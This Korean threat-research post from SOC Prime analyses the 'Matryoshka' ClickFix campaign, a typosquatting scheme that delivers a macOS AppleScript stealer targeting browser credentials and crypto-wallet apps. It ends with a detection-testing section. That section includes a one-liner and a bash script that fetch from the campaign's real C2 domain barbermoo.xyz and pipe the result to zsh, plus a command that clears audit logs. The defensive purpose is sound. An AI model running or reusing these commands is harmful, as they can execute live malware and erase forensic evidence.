SOC Prime Bias: 중간

17 2월 2026 18:00

새로운 “Matryoshka” ClickFix 변종 해부: 오타전술 캠페인으로 macOS 스틸러 전달

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
새로운 “Matryoshka” ClickFix 변종 해부: 오타전술 캠페인으로 macOS 스틸러 전달
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Matryoshka로 불리는 새로운 macOS 맬웨어 작전은 타이포스쿼팅된 도메인을 악용하여 피해자를 사회공학적으로 속여 Terminal에 악성 명령어를 붙여넣게 만듭니다. 이 원라이너는 메모리에서 디코딩되는 인코딩된 스크립트를 가져와 궁극적으로 브라우저 자격 증명 및 암호화폐 지갑을 노린 AppleScript 기반의 스틸러를 배포합니다. 설치 프로그램은 백그라운드에서 조용히 실행되며, 가시 출력을 억누르고 수집된 데이터를 사용하여 업로드합니다. 커스텀 API 헤더이 캠페인은 소프트웨어 악용보다는 사용자 상호작용에 의해 추진됩니다.

조사

Intego 애널리스트들은 도메인 타이포스쿼팅 도메인이 사용자들을 barbermoo.xyz에 호스팅된 경량 셸 단계로 리다이렉트하는 체인을 처음부터 끝까지 재구성했습니다. 그 스크립트는 메모리에서 Base64 + gzip 디코딩을 수행하고, AppleScript 페이로드를 가져오는 로더를 실행하며, 탈출 전 /tmp/osalogging.zip에 수집 결과를 보관합니다. AppleScript는 가짜 시스템 환경설정 프롬프트를 통해 자격 증명을 훔치려고 시도하며, Ledger Live 및 Trezor Suite 애플리케이션 번들을 교체하거나 패치하여 암호화 도구를 목표로 합니다.

완화

사용자 인식이 주요 통제 수단입니다: 웹사이트에서 Terminal 명령어를 붙여넣지 마십시오. 식별된 타이포스쿼팅 및 C2 관련 도메인뿐만 아니라 배달을 지원하는 트래픽 분배 인프라를 차단하고 모니터링하십시오. 애플리케이션 허용 목록을 적용하고, 의심스러운 osascript 실행 및 비정상적인 curl 기반 검색 패턴을 감지할 수 있는 엔드포인트 보호를 사용하십시오.

대응

Terminal로 시작된 curl이 zsh나 osascript로 파이핑되는 것을 알리고, /tmp/osalogging.zip의 생성과 Ledger Live 및 Trezor Suite 번들의 예기치 않은 변경을 감시하십시오. barbermoo.xyz, comparisions.org 및 macfilesendstream.com에 대한 DNS 필터링을 강제 적용하십시오. curl 기반 명령어 실행 직후 백그라운드에서 조용히 시작되는 프로세스를 조사하십시오.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access[“<b>동작</b> – <b>T1204.001 사용자 실행 악성 링크</b><br/><b>설명</b>: 피해자가 타이포스쿼팅 도메인을 방문하고 복사-붙여넣기 명령을 보게 됨.”] class action_initial_access action tool_curl[“<b>도구</b> – <b>이름</b>: curl<br/><b>설명</b>: URL에서 피해자 시스템으로 데이터를 전송함.”] class tool_curl tool process_fetch_rogue[“<b>프로세스</b> – <b>이름</b>: fetch_rogue.sh<br/><b>명령</b>: curl … | sh”] class process_fetch_rogue process action_execution[“<b>동작</b> – <b>T1059.004 유닉스 셸</b><br/><b>설명</b>: Unix 셸 명령을 실행하여 rogue.sh를 다운로드하고 실행함.”] class action_execution action action_obfuscation[“<b>동작</b> – <b>T1027.009 임베디드 페이로드</b><br/><b>설명</b>: rogue.sh는 메모리에서 직접 디코딩되는 base64-gzip 페이로드를 포함함.”] class action_obfuscation action action_indirect_exec[“<b>동작</b> – <b>T1202 간접 명령 실행</b><br/><b>설명</b>: 로더가 백그라운드에서 실행되고 터미널과 분리되며 I/O를 억제함.”] class action_indirect_exec action tool_applescript[“<b>도구</b> – <b>이름</b>: AppleScript<br/><b>설명</b>: 사용자 입력을 캡처하기 위해 가짜 시스템 설정 대화상자를 표시함.”] class tool_applescript tool action_gui_capture[“<b>동작</b> – <b>T1056.002 GUI 입력 캡처</b><br/><b>설명</b>: AppleScript 대화상자가 사용자가 입력한 비밀번호를 캡처함.”] class action_gui_capture action action_cred_harvest[“<b>동작</b> – <b>T1056 입력 캡처</b><br/><b>설명</b>: 사용자 상호작용 후 스크립트가 저장된 브라우저 자격 증명을 수집함.”] class action_cred_harvest action action_masquerade[“<b>동작</b> – <b>T1036 가장</b><br/><b>설명</b>: Ledger Live와 Trezor Suite 바이너리를 악성 버전으로 교체하고 재서명함.”] class action_masquerade action action_stage_data[“<b>동작</b> – <b>T1074.001 로컬 데이터 스테이징</b><br/><b>설명</b>: 탈취된 파일을 /tmp/osalogging.zip에 저장 후 유출 준비함.”] class action_stage_data action action_c2_comm[“<b>동작</b> – <b>T1071.001 웹 프로토콜</b><br/><b>설명</b>: HTTP(S) 요청과 사용자 정의 API-key 헤더를 사용해 C2 서버와 통신함.”] class action_c2_comm action action_exfil_over_c2[“<b>동작</b> – <b>T1041 C2 채널을 통한 데이터 유출</b><br/><b>설명</b>: POST 요청을 통해 스테이징된 zip 아카이브를 C2 서버로 업로드함.”] class action_exfil_over_c2 action action_auto_exfil[“<b>동작</b> – <b>T1020 자동화된 데이터 유출</b><br/><b>설명</b>: 추가 사용자 상호작용 없이 데이터가 자동으로 C2로 전송됨.”] class action_auto_exfil action %% Connections action_initial_access –>|uses| tool_curl tool_curl –>|downloads| process_fetch_rogue process_fetch_rogue –>|executes| action_execution action_execution –>|leads to| action_obfuscation action_obfuscation –>|enables| action_indirect_exec action_indirect_exec –>|uses| tool_applescript tool_applescript –>|triggers| action_gui_capture action_gui_capture –>|captures| action_cred_harvest action_cred_harvest –>|feeds| action_masquerade action_masquerade –>|stores| action_stage_data action_stage_data –>|transfers| action_c2_comm action_c2_comm –>|exfiltrates| action_exfil_over_c2 action_exfil_over_c2 –>|automates| action_auto_exfil %% Class assignments class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 점검이 통과해야 합니다.

근거: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 설명은 식별된 TTP를 직접 반영해야 하며, 탐지 논리가 기대하는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.

  • 공격 내러티브 및 명령어:
    낮은 권한의 macOS 계정을 이미 침해한 공격자는 디스크에 파일을 쓰지 않고 원격 페이로드를 실행하려고 합니다. 그들은 악성 C2 도메인으로부터 base-64로 인코딩된 스크립트를 가져오는 원라이너를 제작합니다.barbermoo.xyz), 파이프를 통해 직접 zsh, 그리고 마침내 eval 를 사용하여 인메모리 페이로드를 실행합니다. 이 접근 방식은 T1059.004 (유닉스 셸) 및 T1027 (난독화)와 일치하며, Sigma 규칙이 감시하는 것입니다.

    1. 공격자는 그들의 캠페인에 요청을 연결하는 고유한 토큰(ABCD1234)을 획득합니다.

    2. 그들은 터미널 세션에서 다음과 같은 원 라이너를 실행합니다:

      curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    3. 가져온 스크립트 내에서 변수 payload 은 base64로 인코딩된 악성 페이로드를 보유하며, 다음을 통해 실행됩니다:

      eval "$payload"

    이는 규칙이 일치하는 두 개의 명령줄 항목을 생성합니다:

    • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    • eval "$payload"
  • 회귀 테스트 스크립트:
    아래 스크립트는 제어된 실험실 환경에서 악성 행동을 재현합니다. macOS 테스트 호스트에서만 실행하십시오. 자신의 실행을 시스템 감사 로그에 기록하여 탐지 규칙을 만족시킵니다.

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Matryoshka Variant Simulation – triggers Sigma rule
    # -------------------------------------------------
    set -euo pipefail
    
    # --- Configuration -------------------------------------------------
    TOKEN="ABCD1234"                     # Replace with any string to simulate uniqueness
    MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
    # A tiny harmless payload for demo – echoing a message (replace with real payload in red-team)
    PAYLOAD="echo 'Malicious payload executed'"
    
    # --- Step 1: Fetch and pipe to zsh (matches first detection pattern) ---
    curl -fsSL "${MALICIOUS_URL}" | zsh
    
    # --- Step 2: Simulate in-memory eval (matches second pattern) -------------
    # In a real attack the payload would be base64-encoded and decoded on-the-fly.
    eval "${PAYLOAD}"
  • 정리 명령: 일시적인 프로세스를 제거하고 셸 상태를 복원합니다.

    # 테스트로 생성된 zsh 프로세스(아직 실행 중일 경우) 종료
    pkill -f "zsh -c .*barbermoo.xyz"
    
    # 옵션으로 테스트 항목의 감사 로그를 지웁니다 (관리자 권한 필요)
    sudo audit -c      # 감사 버퍼를 플러시합니다 (T1070.010을 시연)